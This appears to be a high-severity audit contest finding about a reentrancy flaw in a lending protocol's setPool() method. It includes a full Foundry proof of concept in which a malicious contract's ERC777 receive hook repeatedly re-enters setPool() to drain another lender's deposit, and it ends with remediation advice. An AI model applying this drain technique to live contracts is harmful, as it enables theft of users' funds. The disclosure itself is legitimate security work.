20,000 USDC
View results
Submission Details
Severity: high
Valid

Reentrancy in `setPool()` allows the attacker to steal the loan tokens

Summary

The setPool() method in Lender contract allows anyone to create or alter a pool. If the caller of the method alters their existing pool, setting the poolBalance to a value lower than before, the difference of loan tokens will be transferred back to them.

if (p.poolBalance > currentBalance) {
// if new balance > current balance then transfer the difference from the lender
IERC20(p.loanToken).transferFrom(p.lender, address(this), p.poolBalance - currentBalance);
} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(p.lender, currentBalance - p.poolBalance);
}

The problem is that the pool gets updated after the external transfer call, at the very end of the setPool() method. This opens a possibility for reentrancy attack which can be used by an attacker to steal the whole loanToken deposit from the Lender contract, given that the loanToken transfers the control to the receiver.

Vulnerability Details

Scenario

Please consider the following scenario:

  1. The attacker observes that there's currently 1 million TKN deposited in the Lender contract, and that the TKN is a token that transfers the control to the receiver upon transfer (for example, some ERC777 token).

  2. The attacker creates his own pool, where the loanToken is TKN, with the initial deposit of 1,000 TKN.

  3. The attacker calls setPool() through their malicious smart contract, passing in the modified pool with the poolBalance: 0, thus triggering the transfer of 1,000 TKN to their contract.

  4. The TKN transfers control to the attacker's contract, which then calls setPool() again. As the state of the pool has not been updated yet, the 1,000 TKN would be transferred again from the protocol.

  5. After 1,000 reentrancy iterations all the TKNs will be in the possession of the attacker.

POC

The code below demonstrates the described attack vector. Save it as a .t.sol file under test/ folder (for example, /test/ExploitSetPoolReentrancy.t.sol), and run it with the following command: forge test --match-test testAttackerDrainsPoolExploitingReentrancyInSetPool

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool} from "../src/utils/Structs.sol";
/**
* @dev ERC777 Mock, used for proving reentrancy
*/
contract TestToken is ERC777 {
constructor() ERC777("test", "t", new address[](0)) {}
function mint(address account, uint256 amount, bytes memory userData, bytes memory operatorData) public {
_mint(account, amount, userData, operatorData, true);
}
}
/**
* @dev Contract that the attacker will use to interact with Beedle protocol
* @notice Exploits reentrancy vulnerability
*/
contract MaliciousContract {
address private immutable REGISTRY = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24; /* Address of IERC1820 Registry */
address private immutable i_owner; /* Owner address */
address private immutable i_lender; /* Beedle's Lender contract address */
address private immutable i_token; /* The lendToken (ERC777) */
uint256 private s_reentrancyRound; /* Reentrancy rounds counter */
Pool s_pool; /* The Pool object to be passed to setPool() method */
constructor(address _lender, address _token, uint256 _amount) {
i_owner = msg.sender;
i_lender = _lender;
i_token = _token;
/* Set IERC1820 implementer to receive hook on ERC777 token received */
IERC1820Registry(REGISTRY).setInterfaceImplementer(
address(this), keccak256("ERC777TokensRecipient"), address(this)
);
/* Approve the Lender contract to spend the tokens */
ERC777(i_token).approve(i_lender, _amount);
}
modifier onlyOwner() {
require(msg.sender == i_owner, "Not an owner!");
_;
}
/**
* @dev Creates a pool on behalf of the attacker
* @notice Will trigger reentrancy chain
*/
function setPool(Pool memory p) external onlyOwner {
s_pool = p;
Lender(i_lender).setPool(s_pool); /* Triggers reentrancy calls chain */
/* Send all the ERC777 tokens from the contract to the attacker */
ERC777(i_token).transfer(i_owner, ERC777(i_token).balanceOf(address(this)));
}
/**
* @dev ERC777 hook on receiving tokens
* @notice Will be called multiple times due to reentrancy in the Lender.setPool()
*/
function tokensReceived(address payable, address, address, uint256, bytes calldata, bytes calldata) external {
++s_reentrancyRound;
/* We are skipping round 0 and 1 - these are initial transfers; */
/* 100 rounds to drain the whole deposit as WHALE_DEPOSIT / ATTACKER_DEPOSIT = 100 */
while (s_reentrancyRound > 1 && s_reentrancyRound <= 101) {
/* Reenter the contract to claim the tokens again, before the pool will be updated */
Lender(i_lender).setPool(s_pool);
}
}
}
contract ExploitSetPoolReentrancy is Test {
address private constant REGISTRY_ADDRESS = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24; /* Address of IERC1820 Registry */
bytes private constant REGISTRY_BYTECODE = bytes(
hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
); /* The bytecode of IERC1820 Registry, used to mock the registry on the local chain */
uint256 private constant WHALE_DEPOSIT = 1_000_000 ether;
uint256 private constant ATTACKER_DEPOSIT = 10_000 ether;
ERC20Mock private borrowToken; /* borrowToken can be any token in this attack vector */
TestToken private lendToken; /* lendToken has to provide onReceive hook */
Lender private lender; /* The Beedle's Lender singleton contract */
MaliciousContract maliciousContract; /* The attacker's contract used to exploit reentrancy */
/* POC Actors */
address private WHALE = makeAddr("whale");
address private ATTACKER = makeAddr("attacker");
function setUp() external {
/* Mock the ERC1820Registry */
vm.etch(REGISTRY_ADDRESS, REGISTRY_BYTECODE);
/* Deploy Lender singleton, token mocks and malicious contract */
lender = new Lender();
borrowToken = new ERC20Mock();
lendToken = new TestToken();
vm.prank(ATTACKER);
maliciousContract = new MaliciousContract(address(lender), address(lendToken), ATTACKER_DEPOSIT);
/* Mint lend tokens for whale and attacker */
lendToken.mint(WHALE, WHALE_DEPOSIT, "", "");
lendToken.mint(ATTACKER, ATTACKER_DEPOSIT, "", "");
/* Approve the lender to spend the tokens */
vm.prank(WHALE);
lendToken.approve(address(lender), WHALE_DEPOSIT);
/* Whale deposits WHALE_DEPOSIT into the protocol */
Pool memory whalesPool = Pool({
lender: WHALE,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: WHALE_DEPOSIT,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(WHALE);
lender.setPool(whalesPool);
}
function testAttackerDrainsPoolExploitingReentrancyInSetPool() external {
/* 0. Initial chain state assertion */
assertEq(lendToken.balanceOf(ATTACKER), ATTACKER_DEPOSIT); /* Attacker has 10_000 lendTokens */
assertEq(lendToken.balanceOf(address(lender)), WHALE_DEPOSIT); /* There is 1_000_000 lendTokens in the protocol */
vm.startPrank(ATTACKER);
/* 1. Attacker transfer his lendTokens to the malicious contract */
lendToken.transfer(address(maliciousContract), ATTACKER_DEPOSIT);
/* 2. Attacker creates his own pool */
Pool memory initialAttackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: ATTACKER_DEPOSIT,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
maliciousContract.setPool(initialAttackersPool);
/* 3. Attacker changes the pool to withdraw his deposit (and - due to the vulnerability - the deposit
of the whale as well) */
Pool memory modifiedAttackersPool = Pool({
lender: address(maliciousContract),
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 0,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
maliciousContract.setPool(modifiedAttackersPool); /* The reentrancy chain starts here - see maliciousContract's code */
vm.stopPrank();
/* 4. Final chain state assertion */
assertEq(lendToken.balanceOf(ATTACKER), ATTACKER_DEPOSIT + WHALE_DEPOSIT); /* Attacker has stolen the protocol's deposit of lendTokens */
assertEq(lendToken.balanceOf(address(lender)), 0); /* There is zero lendTokens left in the protocol */
}
}

Impact

If a control-transferring token is deposited in the Lender contract (ERC777 token for example), it can be stolen by the attacker.

Tools Used

Manual review

Recommendations

Execute all the state modifications in setPool() method before external calls and utilize the OpenZeppelin ReentrancyGuard to patch the vulnerability.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.